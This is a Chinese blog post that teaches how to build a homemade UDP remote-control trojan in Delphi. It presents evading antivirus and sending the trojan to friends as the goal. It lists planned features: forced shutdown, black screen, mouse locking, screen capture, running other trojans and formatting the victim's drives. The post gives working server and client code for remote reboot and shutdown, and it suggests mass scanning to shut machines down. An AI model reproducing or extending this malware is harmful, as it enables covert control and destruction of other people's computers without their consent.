Oct 27

delphi自制木马DIY 不指定

Heck , 10:59 , 编程杂谈 , 评论(0) , 引用(0) , 阅读(1394) , Via 本站原创 | |
         大家好呀,Heck最近查阅了一些资料,找了一些大家应该很感兴趣的东东,现在各种杀毒软件搞得冰河等等木马鼠串,没有容身之地,你自己做一个木马就不一样了,嘿嘿,发给你的好友,杀得出来才怪事情。
UDP协议用处多多,现在让我们用它来搞一个木马,一个简单的搞恶作剧的木马。首先,我们列举一下应该实现的功能,能对目标机进行关闭重启动;能让对方两眼一抹黑,黑屏,并且能解除;给对方弹点调侃的消息框;能把对方的鼠标锁定在某个区域内;能隐藏或者显示对方桌面;能抓屏,看看她(他)在干什么;能让对方的光驱像得了抽风病一样进进出出;能在对方机器上远程运行点其他木马什么什么的;直接格式化对方逻辑盘,C:盘也可以在重新启动后格式化(此招太黑,不可乱用)。
能对本文产生兴趣的朋友,一定对远程控制程序结构不陌生,服务端和客户端,我们先不讨论怎么实现服务端的隐藏运行,先来看看实现第一个功能,远程关机的实现,我们调用API函exitwindowsex。服务端的程序头如下
unit Server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem;
//记住加上shellapi,mmsystem;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
CUDP: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
//拦截WM_QUERYENDSESSION消息并处理

{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;

{$R *.DFM}
这个远程控制的原理是客户端通过发送控制码让服务端实现相应的操作,下面是服务端DataReceived事件

procedure TForm1.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..250] of char;
Trun:string;
hDesktop : Thandle;
forc,ford:textfile;
//定义向Autoexec.bat写格式化命令,以后用到
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]+CtrlCode[6]='restart' then
//重新启动计算机
ExitWindowsEx(EWX_REBOOT,2);

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='close' then
//关闭计算机
ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF ,1);
end;

服务端程序雏形就形成了,让我们来添砖加瓦,实现丰富的功能。再来说一下客户端的基本实现,也加入一个NMUDP控件,程序头如下
unit Server;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, NMUDP, StdCtrls;

type
TForm1 = class(TForm)
SUDP: TNMUDP;
MainMenu1: TMainMenu;
WIndows1: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
N9: TMenuItem;
N10: TMenuItem;
N11: TMenuItem;
N12: TMenuItem;
N13: TMenuItem;
N14: TMenuItem;
N15: TMenuItem;
N16: TMenuItem;
N17: TMenuItem;
N18: TMenuItem;
N19: TMenuItem;
N20: TMenuItem;
N21: TMenuItem;
N22: TMenuItem;
N23: TMenuItem;
Edit2: TEdit;
StaticText1: TStaticText;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure N7Click(Sender: TObject);
procedure N9Click(Sender: TObject);
procedure N10Click(Sender: TObject);
procedure N13Click(Sender: TObject);
procedure N12Click(Sender: TObject);
procedure N15Click(Sender: TObject);
procedure N16Click(Sender: TObject);
procedure N17Click(Sender: TObject);
procedure N18Click(Sender: TObject);
procedure N19Click(Sender: TObject);
procedure N20Click(Sender: TObject);
procedure N21Click(Sender: TObject);
procedure N22Click(Sender: TObject);
procedure N23Click(Sender: TObject);
private
procedure winexit(var msg:tmessage);message wm_queryendsession;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;//创建数据流

procedure TForm1.N1Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='restart';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;//发送重启指令

procedure TForm1.N2Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='close';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;发送关机指令

里面用到的edit,menu等控件就让读者自己加到form上了,相信大家应该看得懂,以后陆续贴出实现其他功能的代码,主体就是上面的程序。其实远程关机不仅仅用在木马上面,由于使用的是UDP协议,把客户端做成扫描,就可以可以实现大面积的扫描关机,非常方便,不需要一个一个连上去再关,Heck就准备用来管理机房计算机。


来源:Heck's Blog
地址:http://www.hecks.tk/delphi-self-make-trojan-diy-html/
转载时须以链接形式注明作者和原始出处及本声明,否则将追究法律责任,谢谢配合!
Tags: ,